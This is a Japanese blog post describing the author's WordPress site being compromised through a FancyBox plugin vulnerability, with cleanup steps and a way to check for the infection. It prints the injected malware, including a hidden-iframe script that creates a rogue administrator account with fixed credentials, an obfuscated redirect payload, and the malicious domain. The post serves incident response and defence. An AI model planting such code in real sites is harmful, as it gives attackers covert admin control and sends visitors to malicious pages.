WordPressプラグインの「Fancybox」の脆弱性で不正サイトへ誘導

WordPress本体は、自動的にセキュリティのバージョンアップはされますがプラグインまでは提供されておりません。

ワードプレス本体は安全でも実際に使っているプラグインを狙った攻撃が意外と多いので実際に攻撃を食らって不正サイトへの誘導コードを埋め込まれてショックでした。

どこにどのようなものを埋め込まれたのが被害にあった人のために対処方法を残しておきます。

 

目次

不正コードを踏めこまれた時にどうなったか

PCでは動作しない。

スマートフォン(iPhone、Android)、タブレットは自動的に不正サイトへジャンプする。

不正サイト: load-me.chickenkiller.com/5972

※ジャンプしないようにお願いします。全角とかにしてます。

ちなみにUTF-8でエンコードしてあるので実際に記載されているのは「\x68\x74\x74\x70\x3A\x2F\x2F…」となっていますのでご注意を。

 

2回めアクセスしたときは普通、HPを見ることが可能。

※クッキー(「wpkj」で値は「test」)を残して1回だけジャンプさせている。

また、不正サイトへジャンプした場合、不正サイト先でウィルスを混入される可能性がある。(Android)

 

原因

FancyBox for WordPressのバージョンが3.0.2だった。

※最新版が出ているのでそっちを利用してください。

 

で、どこにそれが書かれているのか

通常にアクセスした場合は、fancyboxのpaddingのあとに追加されている。(赤字の部分)

 

jQuery("a.fancybox").fancybox({
'cyclic': false,
'autoScale': false,
'padding': </script><script>var _0x93d9=["\x77\x70\x6B\x6A",.....

※コードが動かないようにHTMLエンティティになっています。

↓こちらのコードも不正コード

</script><script><iframe id="iframe" onload="loadz()" src="wp-admin/user-new.php" allowtransparency="true" style="width:0;height:0"></ iframe>');
function loadz() {
var dz=document.getElementById('iframe').contentDocument;
dz.getElementById('role').value="administrator";
dz.getElementById('user_login').value="webservers";
dz.getElementById('email').value="web2servers@wp.com";
dz.getElementById('pass1').value="w4bs3rv345es";
dz.getElementById('pass2').value="w4bs3rv345es";
dz.getElementById('send_password').click();
dz.getElementById('createusersub').click();
</script><script>

 

それでこのスクリプトは、プラグインの中には記載されていないので注意が必要。

 

DBの「wp_options」テーブルの中に「option_name」が「mfbfw」という名前で下記のような値が入っている。これがリダイレクトへのコード

 

「'a:1:{s:7:"padding";s:1888:"</script><script>var _0x93d9=["\\x77\\x70\\x6B\\x6A"」

 

ということでFancyBoxを削除し、対象コードを削除して再度、脆弱性対応したFancyBoxを入れ、日本国内からのアクセス制限を実施しました。

 

 

簡単なチェック方法

ホームページを開いて「var _0x93d9=[“\x77\x70\x6B\x6A”」がないことをチェック。

もしくは、fancyboxのコード出力後にpaddingの項目の後ろに「</script><script>」とかあったら怪しいと思ってください。

 

本件以外でやられてしまうケースがあるのでソースコードをみて「\x77」とかUTF-8でエンコードしてある文字列が存在しないかチェックしてください。(たぶん、UTF-8に文字をエンコードしてそれをHTMLに記載する人はいないと思うので)

 

GoogleWebmasterを活用する。↓のように通知がある。

funcybox検知

 

ワードプレス側のWebmasterの設定箇所は「ツール」の中に用意されております。

webマスター設定箇所

 

次回は、WordPressで健全なホームページを運用するためのセキュリティを追求したいと思います。